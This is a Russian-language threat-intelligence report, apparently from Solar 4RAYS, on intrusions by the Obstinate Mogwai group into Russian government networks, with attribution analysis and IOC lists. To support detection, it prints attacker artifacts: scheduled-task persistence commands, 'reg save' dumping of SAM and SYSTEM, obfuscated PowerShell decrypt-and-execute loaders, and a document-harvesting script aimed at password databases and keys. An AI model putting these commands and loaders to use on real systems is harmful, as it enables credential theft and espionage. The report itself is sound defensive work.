2023-11-14 02:19:12 [servername-redacted] 10.173.3.12 POST /wsman 443 - 45.12.67.18 HTTP/1.1 Ruby+WinRM+Client+(2.8.3,+ruby+2.7.2+(2020-10-01)) - owa.[redacted] 404
Как видно из запроса, обращения шли на WSMAN (WS management). Использование UserAgent скорее говорит о том, что указанные обращения - это следы некоего клиента для WinRM, написанного на Ruby. Под все описанное выше попадает проект WinRM на Ruby, который использует функциональность WinRM (Windows Remote Management).
Здесь нас смутил порт 443, ведь WinRM работает на 5985 (HTTP) или 5986 (HTTPS) портах. Как оказалось, можно сконфигурировать WinRM для использования 443 или даже 80 порта! Приведем несколько цитат из описания:
EnableCompatibilityHttpListener
Specifies whether the compatibility HTTP listener is enabled. If this setting is True, the listener listens on port 80 in addition to port 5985. The default is False.
EnableCompatibilityHttpsListener
Specifies whether the compatibility HTTPS listener is enabled. If this setting is True, the listener listens on port 443 in addition to port 5986. The default is False.
Команда для установки прослушивания на 80 порту:
winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}
Команда для установки прослушивания на 443 порту:
winrm set winrm/config/service @{EnableCompatibilityHttpsListener="true"}
Чтобы проверить, какие порты прослушиваются, можно воспользоваться командой:
winrm enumerate winrm/config/Listener
Рекомендуем проверить значения EnableCompatibilityHttpListener и EnableCompatibilityHttpsListener и установить их в False, если наличия параметра True не требуют бизнес-процессы.
В процессе проведения этой атаки мы наблюдали создание задачи Schedeled (орфография атакующих сохранена) командой:
"C:\Windows\system32\schtasks.exe" /create /s [redacted-local-IP] /u [username] /p [password] /tn Microsoft\Windows\Defrag\Schedeled /tr "powershell -exec bypass -f c:\programdata\microsoft\WDF\ctfmon.ps1" /sc onstart /ru system /F
Задача запускала непосредственно ctfmon.ps1, который расшифровывал файл WDF.log и загружал в память .NET-сборку ВПО KingOfHearts. Название сборки данного бэкдора пугает: ControlledEnd.exe. Однако, никакой деструктивной деятельности от Obstinate Mogwai мы ни разу не видели. Это новая версия бэкдора похожа на KingOfHearts (JSON Variant), который раньше был написан на C++. Только его переписали на .NET и сделали модульным: от C2 он получал .NET-сборки и запускал их в памяти. Подробнее о новой версии бэкдора мы расскажем в другой публикации.
4. Эксплуатация уязвимости десериализации ненадежных данных VIEWSTATE
На данном этапе все возможные пути возвращения в инфраструктуру заказчика атакующие уже испробовали. В качестве последнего способа доступа они использовали десериализацию VIEWSTATE (о ней рассказывали в нашем блоге). Способ атаки подробно разобран в статье, поэтому не будем повторяться.
Кейс 2. Впустите нас на Exchange
Продолжение активности этой группы мы увидели в сентябре 2023 года, когда их целью оказалась госорганизация . Атака не была масштабной, так как мы выявили её на ранних стадиях.
Атакующие проникли в инфраструктуру через подключение по VPN без второго фактора, использовав скомпрометированную легитимную учетную записью сотрудника.
Основной целью злоумышленников был Exchange. Предположительно, таким образом они хотели закрепиться в инфраструктуре и выполнять дальнейшие действия с использованием десериализации VIEWSTATE. Также целью атаки стала система пользователя с УЗ которого подключились.
В сеть Obstinate Mogwai проникли через WinRM, с использованием легитимной учетной записи. После этого, воспользовавшись локальной УЗ администратора, они последовательно создали и выполнили три задачи (test, test1, testlogon). Также на системе пользователя, с учетки которого подключились, имелась задача derca:
Время создания (UTC+3) |
Задача |
Команда |
---|---|---|
04.09.2023 6:09:24 |
test |
powershell -exec bypass -w 1 -c ". c:\programdata\bsc.ps1;rk -k Edlel352DNVLRlelreqer352 -c c:\ProgramData\bcs.log" |
04.09.2023 6:59:56 |
test1 |
c:\programdata\contain.exe |
04.09.2023 8:51:25 |
testlogon |
cmd /c "c:\program files\7-Zip\7z.exe" a -r -p123456789Qwe c:\programdata\20232222.7z c:\windows\system32\csc\ertg |
04.09.2023 00:39:12 |
derca |
cmd /c reg save HKLM\SYSTEM c:\programdata\SYS.png && reg save HKLM\SAM c:\programdata\SAM.png |
После успешного выполнения задачи имеются следы обращений к файлам по протоколу SMB с источника атаки.
На момент исследования все использованные атакующим файлы были удалены.
Во всех приведенных задачах есть интересная особенность: задачи были созданы с использованием системы DESKTOP-1O6L84G и учетной записи timego. У заказчика нет ни системы с подобным наименованием, ни такой учетной записи. Также задачу test1 пересоздавали с использованием системы [redacted]-pc0000 и учетной записи Administrator. Обе указанные системы использовались атакующими для подключения к инфраструктуре заказчика. Другими словами, задачи были сгенерированы на системах атакующих и доставлены в виде xml-файла на хосты цели. Также в задачах присутствовало поле DATE. В нем записывалось локальное время системы, на которой сгенерирована задача. Мы составили таблицу с указанием времени поля DATE (дата создания задачи на системе атакующего, as is) и даты создания файла (UTC0).
derca |
test1 |
testlogon |
|
---|---|---|---|
DATE |
03.09.2023 21:39:12 |
04.09.2023 00:24:15 |
04.09.2023 02:15:44 |
Создание |
04.09.2023 04:14:53 |
04.09.2023 06:59:56 |
04.09.2023 08:51:25 |
После создания и запуска первой задачи test в системе имеются следы выполнения скрипта c:\programdata\bsc.ps1 и его полезной нагрузки c:\ProgramData\bcs.log. Сам скрипт на файловой системе мы не нашли,однако в журналах Powershell остались любопытные командлеты:
- Следы скрипта SessionGopher – утилиты с открытым исходным кодом, разработанной FireEye. Утилита находит и извлекает сохраненную информацию для ПО удаленного доступа (PuTTY, WinSCP, FileZilla, SuperPuTTY, RDP).
- Следы скрипта dns-dump – утилиты, предназначенной для дампа всех DNS записей через AD LDAP и DNS запросов через AD (Active Directory). Любопытно, что мы видели использование этого же репозитория в виде https://github.com/3gstudent/Homework-of-C-Language/blob/master/sekurlsa-wdigest.cpp, скомпилированного в библиотеку ipnet.dll в одном из расследований в 2022 году, которое мы также относим к этой же группе.
- Следы скрипта autokerberoast – утилиты, предназначенной для проведения атаки под названием Kerberoasting, заключающейся во взломе NTLM хэшей паролей для сервисных аккаунтов в AD (Active Directory).
После размещения исполняемого файла contain.exe (запускаемого задачей test1) имеется характерное событие входа 4624, в котором использована техника Pass-the-hash, данные события:
SubjectUserSid:S-1-5-18
SubjectUserName:[MACHINENAME]$
SubjectDomainName:[DOMAIN]
SubjectLogonId:0x3E7
TargetUserSid:S-1-5-18
TargetUserName:система
TargetDomainName:NT AUTHORITY
TargetLogonId:0x29E3A838F5
LogonType:9
LogonProcessName:seclogo
AuthenticationPackageName:Negotiate
@Name:WorkstationName
LogonGuid:00000000-0000-0000-0000-000000000000
TransmittedServices:-
LmPackageName:-
KeyLength:0
ProcessId:0x26C
ProcessName:C:\Windows\System32\svchost.exe
IpAddress:::1
IpPort:0
Далее с использованием nltest.exe выполнены команды разведки домена:
nltest.exe /dclist:
nltest.exe /DOMAIN_TRUSTS /PRIMARY /V
nltest.exe /DOMAIN_TRUSTS /DIRECT_OUT /V
nltest.exe /DOMAIN_TRUSTS /All_Trusts /V
nltest.exe /DOMAIN_TRUSTS /DIRECT_IN /V
В это же время атаки на Exchange на сетевом периметре имеются следы попыток эксплуатации уязвимости CVE-2012-0002 (детект на Microsoft Windows Remote Desktop Protocol Code Execution (MS12-020) - Ver2). На всех системах заказчика данная уязвимость была пропатчена, в связи с чем атака не получила продолжения.
Кейс 3. Атака через подрядчика
Еще одна атака на другую государственную организацию случилась в январе 2024 года. Ее мы тоже обнаружили и пресекли на ранней стадии. Это удалось, в том числе благодаря тому, что атакующие переиспользовали командные серверы, которые ранее мы уже видели в атаке, описанной в первом кейсе.
И снова атакующие стремились завладеть Exchange. Предположительно, они хотели закрепиться в инфраструктуре и развивать атаку с помощью десериализации .Net. Другими целями были различные системы сотрудников, с которых атакующие пытались получить конфиденциальные документы и прочую ценную информацию. Также группировку интересовали терминальные серверы для доступа к электронному документообороту.
Следы начала атаки мы обнаружили в событиях IIS, поступающих в SIEM. В них фиксировались различные GET- и POST-запросы к ресурсам owa /owa/auth/logon.aspx. Запросы шли c адреса, который мы знали как подтвержденный индикатор компрометации. Запросы шли под сертификатом одного пользователя к данным учетной записи другого. Детектирование указанных событий автоматически запустило расследование.
В ходе расследования мы выяснили, что сертификаты и учетные записи принадлежат подрядчику организации. Обнаружены различные следы доступов к терминальным серверам для доступа к электронному документообороту, что может указывать на сферу интересов группы.
Для доступа к серверам, на которых были развернуты системы электронного документооборота, использовались скомпрометированные привилегированные учетные записи подрядчика, предназначенные для администрирования\настройки СЭД и имеющие доступ к конфиденциальным документам.
Incident response XXII века - так мы для себя отметили ту часть расследования, где был установлен факт доступа злоумышленников к чувствительным данным. Это случилось благодаря PAM-системе Solar SafeInspect, установленной в инфраструктуре организации. Данная система автоматически ведет запись экрана сессий привилегированных учетных записей, позволяя отслеживать их активность администраторам клиента. Именно поэтому все действия (которые, к слову, выполнялись в ночное время) были записаны. Просмотр этого "блокбастера" позволил установить, что злоумышленники очень хорошо владеют интерфейсом не самой простой системы СЭД. Их интересовали различные документы, связанные с несколькими странами Азиатского региона. Любопытно, что атакующие постранично просматривали открываемые документы, задерживаясь на каждой странице по несколько секунд. Скорее всего во время этих пауз они делали скриншоты или вовсе вели запись экрана.
Предполагаем, что в этот момент была весьма интересно реализована техника сбора данных "T1113 - Screen Capture".
На системе подрядчика, с учетной записи которого атакующие ходили в IIS, мы обнаружили следы выполнения скрипта c:\programdata\errorlog.ps1, который предназначен для расшифровки и выполнения полезной нагрузки из файла С:\ProgramData\logfiles.log. Первая строка в файле C:\ProgramData\logfiles.log – зашифрованная команда для выполнения; от второй строки считается md5. В дальнейшем md5 используется в качестве ключа для расшифровки. Для расшифровки используется функция ConvertTo-SecureString с параметром -key. Пример такого скрипта:
function g-523432413214314() {
Param([string]$s), $cnecad = [system.Text.Encoding]::UTF8;
$5dm = New-Object System.Security.Cryptography.MD5CryptoServiceProvider;
return [System.BitConverter]::ToString($5dm.ComputeHash($cnecad.GetBytes($s))) -replace '-','';
}
function fdaf34234fda() {
$detpyrcadres=gc c:\ProgramData\logfiles.log
$ykef = g-523432413214314 -s $detpyrcadres[-1];
$ykef = $ykef.tochararray();
$Stringsec = convertto-securestring $detpyrcadres[0] -key $ykef;
$hptcah = [System.Runtime.InteropServices.Marshal]::SecureStringToGlobalAllocUnicode($Stringsec);
$feqereqreqw = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($hptcah);
$feqereqreqw=[scriptblock]::Create($feqereqreqw)
try {
Invoke-Command -ScriptBlock $feqereqreqw -ErrorAction SilentlyContinue;
} catch {
$errorMessage = 'Error message: ' + $_.Exception.Message
Out-File -InputObject $errorMessage -Append -FilePath c:\ProgramData\log.txt
}
}
fdaf34234fda
В скрипте ниже в файле c:\ProgramData\logfiles.log три строки: <зашифрованная команда в виде base64-строки> <3DES-ключ> <3DES-IV>. После чтения файл удаляется. Для расшифровки используется алгоритм 3DES.
function dec234321561 {
$cm32352431435134='c:\ProgramData\logfiles.log'
[array]$cp3249293413453 = gc $cm32352431435134 -Force -ErrorAction SilentlyContinue
del 'c:\ProgramData\logfiles.log' -Force -ErrorAction SilentlyContinue;
$ecn634543542345425 = [System.Convert]::FromBase64String($cp3249293413453[0])
$ky2939501234531234=[System.Text.Encoding]::ASCII.GetBytes($cp3249293413453[-2]) $vi2343425467537=[System.Text.Encoding]::ASCII.GetBytes($cp3249293413453[-1])
$Td2030592398492 = New-Object System.Security.Cryptography.TripleDESCryptoServiceProvider
$Td2030592398492.Padding = [System.Security.Cryptography.PaddingMode]::Zeros $Td2030592398492.Mode = [System.Security.Cryptography.CipherMode]::CBC $Td2030592398492.Key = $ky2939501234531234
$Td2030592398492.IV = $vi2343425467537
$Sm2394953424314321 = [System.IO.MemoryStream]::new($ecn634543542345425, 0, $ecn634543542345425.Length)
$sSC3454276272435 = $Td2030592398492.CreateDecryptor()
$Cm23253216427265 = [System.Security.Cryptography.CryptoStreamMode]::Read
$SST34643542345243 = [System.Security.Cryptography.CryptoStream]::new($Sm2394953424314321, $sSC3454276272435, $Cm23253216427265)
$dEcb2341236516614 = [System.Byte[]]::new($ecn634543542345425.Length), $Decc3456346428909 = $SST34643542345243.Read($dEcb2341236516614, 0, $ecn634543542345425.Length)
$DT54745898765959 = [System.Text.Encoding]::UTF8.GetString($dEcb2341236516614, 0, $Decc3456346428909)
try {
Invoke-Expression $DT54745898765959 -ErrorAction SilentlyContinue;
} catch {
$errorMessage = 'Error message: ' + $_.Exception.Message
Out-File -InputObject $errorMessage -Append -FilePath c:\ProgramData\log.txt
}
}
dec234321561
На момент исследования на системе файлы c:\programdata\errorlog.ps1 и c:\ProgramData\logfiles.log отсутствовали, поэтому получить и расшифровать полезную нагрузку не представилось возможным. Файл C:\ProgramData\log.txt содержал вывод ошибки выполнения команды архивации.
Также мы нашли следы запуска программы c:\programdata\Microsoft\DeviceSync\errorlog.exe. Указанный каталог неоднократно использовался группой ранее в других кейсах, которые мы видели в 2022 и 2021 годах.
В журналах Powershell на одной из систем подрядчиков мы обнаружили следы любопытного скрипта (расширенная версия в приложении Powershell-скрипт для сбора данных пользователей):
function dfc {
if(!(Test-Path $pth)) {
mkdir $pth -Force;
$sdate='01/01/2020'
}
else {
$sdate=(gi $pth).LastWriteTime.ToString("MM/dd/yyyy")
}
$com="c:\users\$lusrs";
$dirs = @('\desktop','\documents','\downloads','\AppData\Local\Microsoft\Windows\INetCache\','\AppData\Local\Packages','\AppData\Local\Microsoft\Windows\Temporary Internet Files\');
$dirs | %{gci $com$_ -Recurse -Depth 10 -Force -ErrorAction SilentlyContinue | where{$_.Extension -match '\.(docx?|xlsx?|rtf|dst|ovpn|kdbx|txt|xps|key|cer)$' -and $_.Lastwritetime -ge $sdate} | Select-Object fullname | %{copy $_.FullName $pth;ac $pth\log.log $_.FullName}
}
sleep 10
try {
Compress-Archive -Path "$pth\*" -DestinationPath $dfile -Force -ErrorAction SilentlyContinue | out-null, sleep 5, rm "$pth\*" -Force -ErrorAction SilentlyContinue
Скрипт ищет файлы с расширениями dst|ovpn|kdbx|txt|xps|key|cer|pfx|ppk|rdp для текущего пользователя (c:\users\<cur_user>), измененные не раньше 01/01/2020 (или не раньше даты изменения каталога c:\ProgramData\OFFICEDA, который создается после запуска) из различных подкаталогов:
\desktop,
\documents,
\downloads,
\AppData\Local\Microsoft\Windows\INetCache,
\AppData\Local\Packages,
\AppData\Local\Microsoft\Windows\Temporary Internet Files
После этого файлы копируются в каталог c:\ProgramData\OFFICERM, а в файл c:\ProgramData\OFFICERM\log.txt записываются имена скопированных файлов. Далее файлы архивируются средствами Powershell из c:\ProgramData\OFFICERM в c:\programdata\<hostname>+'@yyyy-MM-dd.zip' и удаляются данные из директории c:\ProgramData\OFFICERM.
Далее, если найден 7z на хосте (C:\Program Files\7-Zip\7z.exe) и каталог c:\ProgramData\OFFICERM не пустой, то скрипт архивирует средствами 7z ее содержимое с паролем 'elDFEef234@#'. Если же файлов в c:\ProgramData\OFFICERM нет, то скрипт архивирует ранее созданный архив с тем же паролем. Исходный архив удаляется.
Также мы нашли аналогичный скрипт, осуществляющий сбор документов в формате docx|xlsx|rtf.
На других системах подрядчика имелись следы скриптов для сбора информации о системе (расширенная версия в приложении Powershell скрипт для сбора системной информации).
Get-NetTCPConnection | Out-File -Encoding UTF8 -Append $infofile
Get-NetNeighbor | Out-File -Encoding UTF8 -Append $infofile
Get-NetRoute | Out-File -Encoding UTF8 -Append $infofile
Get-WmiObject win32_networkadapterconfiguration -filter "ipenabled = 'True'" | Select-Object PSComputerName,Description,DHCPLeaseExpires,DHCPServer,DNSDomain,DNSDomainSuffixSearchOrder,IPAddress,DefaultIPGateway,IPSubnet,MACAddress | Out-File -Encoding UTF8 -Append $infofile
Get-WmiObject -Class Win32_OperatingSystem | Select-Object Caption,CSName,InstallDate,LastBootUpTime,MUILanguages,OSArchitecture,Version | Out-File -Encoding UTF8 -Append $infofile
Get-WmiObject -Class Win32_ComputerSystem | Select-Object name,Domain,Manufacturer,Model,PrimaryOwnerName,TotalPhysicalMemory,UserName,Workgroup | Out-File -Encoding UTF8 -Append $infofile
Get-WmiObject -Class win32_logicaldisk | Out-File -Encoding UTF8 -Append $infofile
Использование описанных скриптов указывает на возможные цели атаки – шпионаж и кража данных.
Для перемещения по сети использовался как RDP, так и WinRM.
В заключение данного кейса заметим, что полное исследование систем подрядчика не проводилось, в связи с чем точки входа в инфраструктуру заказчика установить не представилось возможным.
Атрибуция: возвращение IAmTheKing?
В данном разделе мы хотели бы показать по каким параметрам и с какими известными группировками связан кластер активности, который мы называем Obstinate Mogwai.
Начнем с незначительных пересечений.
1. Связь с HAFNIUM
В кейсе 1 мы наблюдали точку входа – уязвимость ProxyLogon, эксплуатацию которой на первых парах присуждают группировке HAFNIUM. В ходе поиска других версий уникального веб–шелла AntSpy, использование которого мы видели только у Obstinate Mogwai, мы нашли веб-шелл под именем owafont_ki.aspx (MD5: 2d0b7a4bfe6c6361d7a3f05c1c5bbf5c). Веб-шелл с таким же именем использовала группа HAFNIUM при эксплуатации ProxyLogon в 2021 году. Прочитать про атаку на примере нашей компании можно в статье на Хабре.
2. Связь с APT31
В кейсе 3 запускался файл по пути С:\ProgramData\Microsoft\DeviceSync\errorlog.exe. Указанный каталог использовался APT31 для размещения бэкдора GrewApacha, про который мы писали в марте 2023, а также неоднократно использовался атакующим в других кейсах, которые мы видели в 2021-2022 гг.
3. Связь с Webworm / Space Pirates
Obstinate Mogwai часто применяли довольно старое ВПО – TrochilusRAT, Последний раз публично про его использование писали Symantec в 2022 году. Статья была посвящена группировке Webworm, которая также связана с группировкой Space Pirates. Эксперты Symantec даже делают предположение, что Webworm и Space Pirates могут быть одной и той же группировкой: “It is likely that the two groups are one and the same.” Незадолго до этого Symantec выпустили статью о неназванной группировке, которая также использовала TrochilusRAT.
4. Связи с IAmTheKing
Мы обнаружили довольно много пересечений с группировкой под названием IAmTheKing (Kaspersky) или PowerPool (ESET). Материалы о ней стали появляться в 2018 (ESET), а последний публичный отчет – в 2020 (Kaspersky). Далее кратко опишем TTP IAmTheKing и увиденные пересечения с Obstinate Mogwai.
- IAmTheKing очень любят использовать различные Powershell-скрипты: как для запуска полезных нагрузок, так и для сбора информации о системе. Часто в Powershell-скриптах они использовали название переменной $pth. Мы видим это и в описанных выше скриптах:
В кейсе 1 расшифрованный Powershell-скрипт из scrollend.log
$pth_sh = "c:\Program Files\Microsoft\Exchange Server\v15\FrontEnd\HttpProxy\owa\auth\$num\themes\resources"
$pth_bk = "C:\ProgramData\Microsoft\RAC"
Расшифрованный Powershell-скрипт из c:\programdata\microsoft\wdf\Speech.log
$pth_bk="C:\ProgramData\Microsoft\WDF"
В кейсе 3 Powershell-скрипт для сбора данных пользователей
function dfc {
if(!(Test-Path $pth)) {
mkdir $pth -Force;
$sdate='01/01/2020'
- IAmTheKing для запуска своих полезных нагрузок нередко используют следующую схему: запуск ps1-скрипта, который расшифровывает log-файл из файловой системы, и дальнейший запуск расшифрованного скрипта с помощью команды Invoke-Expression.
Мы видим это и в описанных выше скриптах.
В кейсе 3 Powershell-скрипты, которые копировали веб-шеллы по расписанию, расшифровывались из файлов C:\ProgramData\Microsoft\scrollend.log и C:\ProgramData\Microsoft\WDF\Speech.log:
powershell -exec bypass -c ". c:\programdata\microsoft\scrollend.ps1;dec -key EJFELNGELKkdkflelrel2342343423LDLFLEFLEL3432423432DLFLFELELELFEL -command c:\programdata\microsoft\scrollend.log"
powershell.exe -exec bypass -c ". c:\programdata\microsoft\wdf\Speech.ps1;tip 5oR95oiG976836R15e407z3712299z14IP0051b760I02y812T1o1M3c461ZQe64 -command c:\programdata\microsoft\wdf\Speech.log"
Далее они запускались с помощью Invoke-Expression:
foreach($cyphertext in $cyphertexts) {
…
$plainText += [char]($_ -bxor $KeyArray[$keyposition % $KeyArray.Length])
$keyposition += 1
}
$plainText = $plainText -replace 'a!a!','';
Invoke-Expression $plainText # вызов Invoke-Expression
}
Powershell-скрипт расшифровывался из С:\ProgramData\logfiles.log и запускался через Invoke-Expression:
$cm32352431435134='c:\ProgramData\logfiles.log'
...
$Td2030592398492 = New-Object System.Security.Cryptography.TripleDESCryptoServiceProvider
...
$sSC3454276272435 = $Td2030592398492.CreateDecryptor()
...
$DT54745898765959 = [System.Text.Encoding]::UTF8.GetString($dEcb2341236516614, 0, $Decc3456346428909)
try {
Invoke-Expression $DT54745898765959 -ErrorAction SilentlyContinue; # вызов Invoke-Expression
- IAmTheKing в именах задач любят использовать слово Scheduled во всех вариациях
В кейсе 1 скрипт C:\ProgramData\Microsoft\WDF\Speech.ps1 запускался задачей Tasks\Microsoft\Windows\Diagnosis\Schduled
В одной из атак, в которых Obstinate Mogwai пытались вернуться в инфраструктуру, с помощью Powershell и зашифрованного log-файла в память была загружена новая версия бэкдора KingOfHearts (JSON вариант), про который мы писали выше. Бэкдор запускался задачей с именем Schedeled:
"C:\Windows\system32\schtasks.exe" /create /s [redacted-local-IP] /u [username] /p [password] /tn Microsoft\Windows\Defrag\Schedeled /tr "powershell -exec bypass -f c:\programdata\microsoft\WDF\ctfmon.ps1" /sc onstart /ru system /F
- IAmTheKing использовали в атаках бэкдоры собственной разработки: KingOfHearts, QueenOfHearts и QueenOfClubs.
Как уже говорилось выше, в одной из атак мы увидели использование новой версии бэкдора KingOfHearts (JSON variant). Данный факт внес значительный вклад в процесс атрибуции, так как использование подобного бэкдора было замечено только за IAmTheKing.
- IAmTheKing предпочитают Powershell и поэтому используют различные Red Team-проекты с открытым исходным кодом.
Например, скрипты от Nishang. В 2018 г. IAmTheKing использовали вариацию бэкдора, который основан на DNS_TXT_Pwnage.ps1. В кейсе 1 использовался уникальный веб-шелл AntSpy, код которого основан в том числе на веб-шелле Antak, который был разработан Nishang. В 2020 году IAmTheKing использовали кастомные скрипты для эксфильтрации интересующих данных (например, xls, rtf и pdf файлов). В кейсе 3 мы показали кастомные powershell-скрипты для сбора файлов форматов docx, xlsx, rtf и других. В прошлой статье про Obstinate Mogwai и в этой мы отметили использование скриптов из репозитория Kevin-Robertson: фреймворк Inveigh и его компонент Invoke-SMBClient. Также злоумышленники использовали другие powershell-скрипты, которые перечислены в конце в Приложении 1.
На рисунке ниже мы постарались схематично изобразить связи Obstinate Mogwai с другими группировками. Каждая сноска отображает, по каким параметрам строилась та или иная связь. Сноска Obstinate Mogwai отображает уникальные инструменты группировки.
Заключение
Мы рассказали об атаках группы Obstinate Mogwai. Показали используемые ими тактики и техники, а самые интересные из них разобрали более подробно. Группа активно применяет различные способы для обхода обнаружения, чтобы долго оставаться незамеченными. Если же успешно провести меры по митигации атаки внутри скомпрометированной инфраструктуры, они все равно настойчиво будут пытаться в нее вернуться, даже спустя годы, подтверждая свое название.
Также в разделе атрибуция показали различные связи с другими группировками. Хотя группа Obstinate Mogwai имеет пересечения с другими группами азиатского региона, наибольшее совпадение мы наблюдаем с азиатской APT IAmTheKing, последнее публичное упоминание о которой было в 2020 году. Исходя из проведенных нами расследований, можно предположить,что Obstinate Mogwai является наследником IAmTheKing с обновленным инструментарием.
Очевидно, что основная цель Obstinate Mogwai – кибершпионаж. Атакующие обладают большими ресурсами и связями с другими группами для проведения масштабных кибератак. У них также имеются ресурсы для разработки и развития новых образцов ВПО, таких как DimanoRAT, Donnect, новой версии бэкдора KingOfHearts, фреймворка для эксплуатации уязвимости десериализации VIEWSTATE.
Накопленные нами знания о группировке указывают на то, что она активна как минимум с 2019 года и по сей день. При этом, согласно публичным отчетам других компаний, группировка может быть активна как минимум с 2014 года. Как и раньше, целью атакующих являются государственные и частные организации в России.
Если и вы увидели подозрительную активность в своей сети и считаете, что тоже стали жертвой хакерской группировки, пишите нам. Эксперты Solar 4RAYS помогут выявить инцидент и ограничить его распространение, а также защитить вашу инфраструктуру от подобных атак в будущем.
Приложение 1. Используемый тулсет
Donnect – уникальное ВПО класса backdoor.
DimanoRAT – уникальное ВПО класса backdoor.
KingOfHearts – ВПО класса backdoor.
TrochilusRAT – ВПО класса backdoor.
Nbtscan – сканер сети.
Command line RAR, 7z – архиваторы.
Big-shell – веб-шелл.
SharpHound – С# реализациия BloodHound.
CMPSpy – кейлоггер.
AdFind – получение данных из AD.
AntSpy – веб-шелл Antak, скрещенный с ASPXSpy и уникальными модификациями по доступу.
RDCMan – инструмент для управления несколькими одновременными подключениями по протоколу RDP, входит в состав пакета Sysinternals.
SmbExec – инструмент для горизонтального перемещения по сети, входит в состав проекта Impacket.
Venom proxy – программа для построения прокси-туннелей.
Invoke-SMBClient – компонент фреймворка для тестирования на проникновение Inveigh.
SessionGopher – программа для сбора незащищенных аутентификационных данных с системы.
dns-dump – утилита, предназначенная для дампа всех DNS записей через AD LDAP и DNS запросов через AD (Active Directory).
autokerberoast – следы скрипта для сбора TGS тикетов.
OXID – сканер сети.
Приложение 2. IOCs
Сетевые индикаторы
Кейс 1
DimanoRAT\DONNECT
parking.samogony[.]com
yandexcloud.samogony[.]com
reformamebel[.]com
down.softupdate[.]com
api.hoteldinamo[.]com
ssl.hoteldinamo[.]com
www.puzirik[.]com
dns.russianpaymentsforum[.]com
help.springnow[.]net
185.4.66[.]116
188.130.160[.]144
46.8.43[.]28
down.soft-update[.]com
38.54.16[.]120
TrochilusRAT
cariolis[.]com
vorots[.]ru
ttl.huzfs[.]com
108.160.136[.]200
dns-stream[.]com
.NET KingOfHearts backdoor
45.150.64[.]23
Venom proxy C2
38.180.29[.]3
Использованные в атаках адреса
94.177.123[.]215
31.214[.]157.5
213.183.54[.]200
213.183.56[.]238
213.183.57[.]73
192.121.171[.]190
92.243.66[.]166
92.119.159[.]22
193.47.34[.]229
188.116.22[.]90
139.84.139[.]176
192.121.47[.]214
5.8.33[.]45
185.132.125[.]154
149.28.189[.]102
31.192.234[.]35
92.38.160[.]212
51.79.191[.]204
5.188.33[.]50
139.162.111[.]143
116.251.217[.]104
181.215.229[.]119
194.68.26[.]142
194.68.26[.]164
192.248.153[.]215
158.247.203[.]87
38.54.16[.]120
92.38.160[.]7
213.135.67[.]198
122.192.11[.]114
122.96.34[.]142
27.102.115[.]153
85.159.208[.]143
45.12.67[.]18
192.121.47.214
Вероятные C2, полученные путем исследования связей
185.167.116[.]30
95.179.249[.]142
46.161.15[.]98
hy.indiatopsite[.]com
tes.indiatopsite[.]com
my.thejra[.]com
api.lordsofthelands[.]io
rentalapi.lordsofthelands[.]io
rental.lordsofthelands[.]io
vip.lordsofthelands[.]io
secure.thejra[.]com
go.thejra[.]com
lion.thejra[.]com
macbook.thejra[.]com
home.thejra[.]com
seanpi.thejra[.]com
skypi.thejra[.]com
www.iss-tass[.]com
Rhodesauto[.]space
Pitmanbed[.]space
Rralphfood[.]space
Кейс 2
86.105.227[.]126
86.106.102[.]119
Кейс 3
213.183.56[.]238
92.243.66[.]166
192.121.171[.]190
File hashes
MD5
518ae23346d7bf3bd38dd30385fa99fa
c12f657efa3fa47e43e2b313a4e28d27
bb0241fe783e5db8c34ece460cebeaa1
d053a16ced6382d1ec0b9869f9084860
ac7222db58b804aad7ef45cc2d884692
cf40fe8a588711f4fd716396dca9a1a1
3239a8656c675a83ac84a68e06869827
607654a81bb6c49d70d3601b70d968b2
7b4ec1bdf76d88cee0e8a880f75184a2
def27ebdd447c605a05836fb359460b2
a022c93e1b9e43f38bea0be55b34ecd0
505af1d8b13ff998492021380221e4b9
6e8020a14a26ce32dab8df6eb1257667
842ebb16b5a0a7a55f35cd53fbc53e3b
c9de939b7393aac6225abd82f9abc2fb
17642a0f2b976c61e0eb866640d04a8c
5bd4a2a0894f8c4e492c041ced17b221
d2b058f69a29f2e25f19eb4d7e15416d
325b897cde70ce7c42f0a8c6e135b6c2
31940f6eac72022abc1abf52d1d89e9f
e091fe0e163500f7bb2521e96c1f8880
122c17230e1bd8f3670901cf73238ddc
3be986a5d6da9fbade41421f6860ca68
f01a9a2d1e31332ed36c1a4d2839f412
0b67e974fb8e80bd9b72fbb2974237d2
96642718c6923b0067caa5bb4be3dcef
7422724288e63d548c474b305e267b2e
99ccc389df4fa9c109f47d61e4aa5b2b
778aad6cb90efb907454796fbab20a9d
0a8ae8de9650a695eeb27a783fc299f3
97f37f99edf74805812d5d251dc59e46
078d72a61fe3de477669fcf07ef66fb3
25c047f53e1b6b88d376e90a3d987050
4ece4abc0ab1b8b1147095f159b77a89
5d61be7db55b026a5d61a3eed09d0ead
a679c7c7f7a0e960e0cda3ef465ec53c
dbab6271567d7d0774fdddf5eb5e50c2
bb3cf91ad5ab1991b048a3acd1414532
8f4a99bc93f9c88a05e80770736d3bfb
3fafe14286fe98df8b674f19402d9edb
c07c7ff79bd41e8d28659568d80109e1
fb9e1ee7c2a9d439d830076887368c77
a83201e9de3dae06aae1ae5306eba5c3
d95d2654b737f76305c1410c0cadcc40
e0e2e67a6217c6ba30a407dc82f908db
b8b371eaf4aa05d68e24e2ceb582cc1f
d69b2002478ce63143140df5669523aa
31d65aa6735c05a83ced34595013045e
9ae9828a9e7cbe43dc146e7771d4f8f7
1be0dbf20f29ea302208d79e88c88539
7cb1d6219f9b0f71e5ae80b67ef5ab7b
5f4e4079608b123943e11770d46ab881
42f0dc07131705738a14baffd560be7c
0312f474debf9cef2843fa67b56f2c3d
962ac92c11b3fce84603fca34bfd6d5f
dc8f54c05d9ca2794b0af00c3130f20a
8867f74c013c0132a04b9c4f0b1ca367
e7dc06c7e2de61cf84ba10e7a12d764c
dbbcfdb01b4912bb9c935edf89f400c2
ae0ac04e64abf20870a5814f047a0658
9a1799b33499474dbffa658a8d6c70f1
SHA1
5f79e11dbb6a6eefbfc02404f9cbf2a12d0d54ed
f7b57186feea1cf3d738260f2d77f0edebf1e71c
7b700dc311320aba5e7aa2b7641aea3d9e3a52f0
3b29abd7e1de1d2fc4c8c7891aca7774113da4d2
5b70c9bbde07a1516525f33dbef064e5f2c24d12
adee650c278fdec5aaa710c94c71a47dd291fc04
18d9254e897fed81e6e0384e75838ba1fbdd3e44
64bf7617fe42800d4da8cf1f2201eafdc9a3174e
48f4ba8c10c02146af502a568416e70a86fe4108
32645cf32ea715bc41c72089b946c384a6a7e155
